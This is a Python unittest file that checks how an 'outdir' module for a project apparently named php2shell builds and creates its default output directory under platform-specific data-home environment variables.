class OutdirTest(unittest.TestCase):
def test_path_is_absolute_and_ends_with_out(self):
path = outdir.default_outdir()
self.assertTrue(os.path.isabs(path))
self.assertTrue(path.endswith("out"))
def test_contains_php2shell(self):
self.assertIn("php2shell", outdir.default_outdir())
def test_honours_env(self):
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
old = os.environ.get(key)
os.environ[key] = os.path.join(os.sep, "tmp" if os.name != "nt" else "C:\\", "poc-env")
try:
self.assertIn("poc-env", outdir.default_outdir())
finally:
if old is None:
os.environ.pop(key, None)
else:
os.environ[key] = old
def test_ensure_creates_directory(self):
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
old = os.environ.get(key)
import tempfile
tmp = tempfile.mkdtemp(prefix="poc-out-")
os.environ[key] = tmp
try:
path = outdir.ensure()
self.assertTrue(os.path.isdir(path))
finally:
if old is None:
os.environ.pop(key, None)
else:
os.environ[key] = old